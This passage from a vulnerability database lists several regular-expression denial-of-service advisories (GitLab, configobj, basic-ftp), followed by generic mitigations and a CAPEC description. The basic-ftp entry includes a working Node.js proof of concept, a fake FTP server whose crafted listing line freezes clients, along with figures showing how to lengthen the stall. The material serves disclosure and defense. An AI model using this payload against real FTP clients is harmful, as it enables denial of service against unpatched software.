    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-25T11:15:46Z",
    "severity": "HIGH"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 12.5 before 16.9.6, all versions starting from 16.10 before 16.10.4, all versions starting from 16.11 before 16.11.1. A crafted wildcard filter in FileFinder may lead to a denial of service.",
  "id": "GHSA-c2wf-8j59-jjhc",
  "modified": "2024-04-25T12:30:50Z",
  "published": "2024-04-25T12:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2829"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2416728"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/451456"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C33W-24P9-8M24

Vulnerability from github – Published: 2023-04-03 06:30 – Updated: 2024-12-16 22:46
VLAI
Summary
configobj ReDoS exploitable by developer using values in a server-side configuration file
Details

All versions of the package configobj are vulnerable to Regular Expression Denial of Service (ReDoS) via the validate function, using (.+?)((.)). Note:* This is only exploitable in the case of a developer, putting the offending value in a server side configuration file.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "configobj"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26112"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-04T21:40:45Z",
    "nvd_published_at": "2023-04-03T05:15:00Z",
    "severity": "LOW"
  },
  "details": "All versions of the package configobj are vulnerable to Regular Expression Denial of Service (ReDoS) via the validate function, using (.+?)\\((.*)\\). **Note:** This is only exploitable in the case of a developer, putting the offending value in a server side configuration file.",
  "id": "GHSA-c33w-24p9-8m24",
  "modified": "2024-12-16T22:46:10Z",
  "published": "2023-04-03T06:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26112"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DiffSK/configobj/issues/232"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DiffSK/configobj/commit/7c618b0bbaff6ecaca51a6f05b29795d1377a4a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/DiffSK/configobj"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6BO4RLMYEJODCNUE3DJIIUUFVTPAG6VN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NZHY7B33EFY4LESP2NI4APQUPRROTAZK"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PYU4IHVLOTYMFPH7KDOJGKZQR4GKWPFK"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/configobj/5.0.9"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-PYTHON-CONFIGOBJ-3252494"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "configobj ReDoS exploitable by developer using values in a server-side configuration file"
}

GHSA-C3PH-4HJ5-R598

Vulnerability from github – Published: 2024-06-27 00:31 – Updated: 2024-06-27 00:31
VLAI
Details

An issue was discovered in GitLab CE/EE affecting all versions starting from 9.2 prior to 16.11.5, starting from 17.0 prior to 17.0.3, and starting from 17.1 prior to 17.1.1, with the processing logic for generating link in dependency files can lead to a regular expression DoS attack on the server

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-1493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-27T00:15:10Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in GitLab CE/EE affecting all versions starting from 9.2 prior to 16.11.5, starting from 17.0 prior to 17.0.3, and starting from 17.1 prior to 17.1.1, with the processing logic for generating link in dependency files can lead to a regular  expression DoS attack on the server",
  "id": "GHSA-c3ph-4hj5-r598",
  "modified": "2024-06-27T00:31:04Z",
  "published": "2024-06-27T00:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1493"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2370084"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/441806"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C475-QRG2-PJ4R

Vulnerability from github – Published: 2026-10-01 14:42 – Updated: 2026-10-01 14:42
VLAI
Summary
basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)
Details

Summary

Client.list() parses the server's directory listing with the Unix-style parser in parseListUnix.js. Its RE_LINE regex has two adjacent (\S+(?:\s\S+)*) groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.

The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. parseList() picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.

Proof of concept

npm i basic-ftp && node repro.js:

const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE_KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!";
const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n";
const server = net.createServer(c => {
  c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = "";
  c.on("data", d => { buf += d; let i;
    while ((i = buf.indexOf("\r\n")) !== -1) {
      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
      if (cmd.startsWith("USER")) c.write("331 .\r\n");
      else if (cmd.startsWith("PASS")) c.write("230 .\r\n");
      else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n");
      else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
        ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); }
      else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); }
      else c.write("200 .\r\n"); } });
});
server.listen(0, "127.0.0.1", async () => {
  const client = new ftp.Client(0);
  await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
  let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
  await client.list(); clearInterval(hb);
  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);
  process.exit(0);
});

Prints list() blocked 39.75s; heartbeats fired: 0, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. maxListingBytes defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.

Impact

One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in Client.list() and rated high. The byte cap added there bounds memory, not the parser's CPU cost.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "basic-ftp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T14:42:42Z",
    "nvd_published_at": "2026-09-30T20:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`Client.list()` parses the server\u0027s directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\\S+(?:\\s\\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n\u00b2) in the line\u0027s length.\n\nThe server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.\n\n## Proof of concept\n\n`npm i basic-ftp \u0026\u0026 node repro.js`:\n\n```js\nconst net = require(\"net\"), ftp = require(\"basic-ftp\");\nconst KB = Number(process.env.LINE_KB || 128);\nconst payload = \"-rw-r--r-- 1 \" + \"a \".repeat((KB * 1024 - 13) / 2) + \"!\";\nconst listing = payload + \"\\r\\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\\r\\n\";\nconst server = net.createServer(c =\u003e {\n  c.setEncoding(\"latin1\"); c.write(\"220 ok\\r\\n\"); let buf = \"\";\n  c.on(\"data\", d =\u003e { buf += d; let i;\n    while ((i = buf.indexOf(\"\\r\\n\")) !== -1) {\n      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);\n      if (cmd.startsWith(\"USER\")) c.write(\"331 .\\r\\n\");\n      else if (cmd.startsWith(\"PASS\")) c.write(\"230 .\\r\\n\");\n      else if (cmd.startsWith(\"FEAT\")) c.write(\"211-x\\r\\n UTF8\\r\\n211 End\\r\\n\");\n      else if (cmd.startsWith(\"EPSV\")) { const ds = net.createServer(s =\u003e { s.write(listing); s.end(); });\n        ds.listen(0, \"127.0.0.1\", () =\u003e c.write(`229 (|||${ds.address().port}|)\\r\\n`)); }\n      else if (cmd.startsWith(\"LIST\")) { c.write(\"150 .\\r\\n\"); setTimeout(() =\u003e c.write(\"226 .\\r\\n\"), 50); }\n      else c.write(\"200 .\\r\\n\"); } });\n});\nserver.listen(0, \"127.0.0.1\", async () =\u003e {\n  const client = new ftp.Client(0);\n  await client.access({ host: \"127.0.0.1\", port: server.address().port, user: \"x\", password: \"y\" });\n  let beats = 0; const hb = setInterval(() =\u003e beats++, 1000); const t = Date.now();\n  await client.list(); clearInterval(hb);\n  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);\n  process.exit(0);\n});\n```\n\nPrints `list() blocked 39.75s; heartbeats fired: 0`, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB \u2248 2.4s, 64 KB \u2248 9.6s, 128 KB \u2248 39s. `maxListingBytes` defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.\n\n## Impact\n\nOne directory listing freezes the whole process, under default options, through the primary API. This is the same \"malicious FTP server causes client-side denial of service\" shape as GHSA-rp42-5vxx-qpwr, also in `Client.list()` and rated high. The byte cap added there bounds memory, not the parser\u0027s CPU cost.",
  "id": "GHSA-c475-qrg2-pj4r",
  "modified": "2026-10-01T14:42:43Z",
  "published": "2026-10-01T14:42:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-c475-qrg2-pj4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102990"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/commit/d0d9e07c56e519587bb50532ac6eadbb0cb0cfe9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickjuchli/basic-ftp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)"
}

Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.